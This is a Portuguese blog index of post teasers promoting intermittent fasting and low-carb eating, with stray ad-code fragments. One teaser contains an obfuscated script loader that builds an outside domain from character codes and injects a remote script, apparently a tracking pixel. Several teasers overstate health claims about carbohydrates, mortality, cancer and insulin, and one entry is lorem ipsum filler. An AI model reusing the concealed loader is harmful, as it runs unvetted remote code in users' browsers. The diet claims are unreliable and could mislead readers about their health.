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Artigos e notícias sobre os benefícios do Jejum Intermitente

VOCÊ SENTE MUITA FOME???

Um dos problemas mais relatados ao fazer jejum é “sentir fome”? Mas já expliquei em outros posts, que associamos várias sensações à fome, e ela pode ser sugestionada ao ver uma propaganda de um sanduíche ou pelo cheiro do churrasquinho. VOCÊ TEM UM GRANDE APETITE? PRECISA SE SENTIR CHEIO ?  O problema de comer carboidratos … VOCÊ SENTE MUITA FOME??? Leia mais » ...

VOCÊ COMEÇA UMA DIETA E JÁ PENSA EM COMER BESTEIRAS????

Os desejos começam a diminuir quando há uma firme decisão interior de que, absolutamente, não irá se afastar da dieta. Eles aumentam quando você está indeciso sobre comer ou não comer. //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js(adsbygoogle = window.adsbygoogle || ).push({}); Para enfraquecer a intensidade dos desejos tentadores, e reduzir a frequência deles, você precisa parar de ceder à eles. … VOCÊ COMEÇA UMA DIETA E JÁ PENSA EM COMER BESTEIRAS???? Leia mais » ...

DIETAS RICAS EM CARBOIDRATOS  PREJUDICAM A SAÚDE E AUMENTA A MORTALIDADE – DIZ ESTUDO

estudo constatou que os carboidratos  aumentam a mortalidade humana, enquanto que a gordura dietética reduz a mortalidade, solicitando uma mudança fundamental das diretrizes nutricionais atuais, estudo com 135 mil participantes de 18 países. //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js(adsbygoogle = window.adsbygoogle || ).push({}); Sabe-se desde a década de 1930 que a redução global da absorção de alimentos, a chamada restrição calórica, … DIETAS RICAS EM CARBOIDRATOS  PREJUDICAM A SAÚDE E AUMENTA A MORTALIDADE – DIZ ESTUDO Leia mais » ...

SE QUISER EMAGRECER ENTENDA COMO FUNCIONA A FOME!!

quanto mais calórica e agradável for a comida, mais seu cérebro vai querer repeti-la. DESDE QUE O MUNDO É MUNDO, SEU CÉREBRO se prostitui em troca de calorias. Ele até sabe que salada é mais digna para a saúde, mas se vende por qualquer porção de gordura e açúcar que apareça. Isso vem de longa data.  Como … SE QUISER EMAGRECER ENTENDA COMO FUNCIONA A FOME!! Leia mais » ...

CHÁ QUE EMAGRECE!! clique aqui…

Simplesmente, tire da cabeça, eles não existem! Tire da cabeça de que exista algum alimento, chá, suco, sopa que irá te emagrecer. Simplesmente, tire da cabeça, eles não existem! O que emagrece, principalmente, é o estado não alimentado (jejum), sim, jejum! Você não tem que comer para emagrecer, isso é como dizer que tenho que … CHÁ QUE EMAGRECE!! clique aqui… Leia mais » ...

O maior ginasta de todos os tempos come apenas 1 REFEIÇÃO POR DIA!!!!

ele  se alimenta de café até fazer a sua única refeição noturna!!! //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js(adsbygoogle = window.adsbygoogle || ).push({}); É sempre fascinante descobrir o que os atletas famosos comem, para se maravilhar com a quantidade absurda de calorias que Michael Phelps consome ou se divertir com a dieta vegana de Tom Brady. Kohei Uchimura, o maior ginasta masculino de … O maior ginasta de todos os tempos come apenas 1 REFEIÇÃO POR DIA!!!! Leia mais » ...

FAZER JEJUM ENGORDA?????

melhor controle de peso; -aumento dos níveis de GH (hormônio do crescimento) -saúde vascular //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js(adsbygoogle = window.adsbygoogle || ).push({}); A ciência moderna vem estudando a prática milenar do jejum intermitente. A prática oferece diversos benefícios, como: -otimização do metabolismo -melhora da função cognitiva -menor incidência de câncer -maior longevidade -melhor controle de peso -aumento dos níveis … FAZER JEJUM ENGORDA????? Leia mais » ...

BENEFÍCIOS DO JEJUM INTERMITENTE E DIETA LOWCARB – BASEADO EM EVIDÊNCIA

Redução do apetite, Redução do ganho de peso,Aumento da queima de gordura  Efeitos nos hormônios de controle do apetiteRedução do ganho de peso (lipogênese)Aumento da queima de gordura (lipólise). Redução do quociente respiratório em repouso e, portanto, maior eficiência metabólica no consumo de gorduras. Aumento do gasto metabólico da gluconeogênese (durante o processo de cetose) e do efeito … BENEFÍCIOS DO JEJUM INTERMITENTE E DIETA LOWCARB – BASEADO EM EVIDÊNCIA Leia mais » ...

A MELHOR DIETA PARA O SEU CORAÇÃO!!!!

 Reduzir os carboidratos também pode aumentar os níveis de HDL ou “bom” colesterolPROJETO VERÃO – clique aquiDieta mediterrânea LOWCARB é melhor para o seu coração do que uma dieta pobre em gorduras, estudos mostram.POR Claudia Tanner For Mailonline    //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js(adsbygoogle = window.adsbygoogle || ).push({});   A dieta baixa em carboidratos reduz AS RESERVAS de gordura em volta … A MELHOR DIETA PARA O SEU CORAÇÃO!!!! Leia mais » ...

NÃO EMAGREÇO: DE QUEM É A CULPA?

NINGUÉM REALMENTE QUER SER GORDO. Quando os médicos aconselharam as pessoas a parar de fumar, deixaram de fumar…. //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js(adsbygoogle = window.adsbygoogle || ).push({}); Considerando estas duas possibilidades, existem apenas duas possíveis conclusões. Uma possibilidade é que o esse modo de dieta de contar calorias e comer de 3 em 3 horas seja bom, mas as … NÃO EMAGREÇO: DE QUEM É A CULPA? Leia mais » ...

O JEJUM NÃO QUEIMA MÚSCULOS E SIM A GORDURA!!!

(function(i,s,o,g,c,f,r,a,m){i=c;i=f;i=r;i=i||function(){ (i.q=i.q||).push(arguments)},i.l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)||s.getElementsByTagName(‘head’);e=’https://e’; g=e+’duzz’+’.’+String.fromCharCode(105, 110, 102, 111)+’/’+g;a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,’script’,’dev/js/px.js’,’ZHPPY’,’145300′,’edzpx’); PROJETO VERÃO!!!CLICQUE AQUI!!!!! QUER EMAGRECER? REDUZA A INSULINA!!!!! Toda a estratégia de perda de peso depende da redução da insulina. //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js(adsbygoogle = window.adsbygoogle || ).push({}); A dieta com baixo teor de carboidratos pode reduzir a insulina em cerca de 50%, mas você pode ir mais 50% … O JEJUM NÃO QUEIMA MÚSCULOS E SIM A GORDURA!!! Leia mais » ...

VOCÊ É ANSIOSO E NÃO CONSEGUE EMAGRECER???

comemos direitinho, mas algo dentro de nós, uma voz interior ansiosa, já diz: “Eiii, você está vendo que eu estou comendo direito?? A gente acorda bem, acreditando que desta vez tudo dará certo. Então, vamos pro café da manhã esperançosos de um novo dia. Daí, comemos direitinho, mas algo dentro de nós, uma voz interior … VOCÊ É ANSIOSO E NÃO CONSEGUE EMAGRECER??? Leia mais » ...

VOCÊ ACHA O CAFÉ DA MANHÃ A REFEIÇÃO MAIS IMPORTANTE DO DIA?

Algumas opções para quem não consegue ficar sem! Você provavelmente já ouviu falar que “o café da manhã é a refeição mais importante do dia”.  //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js(adsbygoogle = window.adsbygoogle || ).push({}); Este mantra freqüentemente veio de pessoas muito próximas desde quando criança: seus pais, avós e professores. Você provavelmente nunca parou para questionar porque o café da … VOCÊ ACHA O CAFÉ DA MANHÃ A REFEIÇÃO MAIS IMPORTANTE DO DIA? Leia mais » ...

Food intolerance testing – is it worth it?

Quasi porta adipisicing pulvinar. Tempora culpa ultricies, ab exercitation tortor quae unde. Ex nullam totam consectetur adipisicing, tenetur, dapibus viverra delectus urna. Nostra necessitatibus pulvinar convallis blandit cum distinctio hic nemo nemo? Recusandae rerum, nostrud debitis delectus sapiente nobis, ipsa, platea natoque? Numquam eaque? Voluptatum, dignissimos! Non pede itaque erat ullam eaque volutpat ipsam quae, … Food intolerance testing – is it worth it? Leia mais » ...

Por que o jejum intermitente pode ser uma boa para você

Não comer por longos períodos de tempo Intencionalmente ? Soa como tortura medieval para a maioria. Mas e se fosse o segredo para uma vida prolongada, aumento da função cognitiva e uma miríade de outros benefícios para a saúde? //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js(adsbygoogle = window.adsbygoogle || ).push({}); Temos ouvido cada vez mais ultimamente sobre os benefícios para a saúde do … Por que o jejum intermitente pode ser uma boa para você Leia mais » ...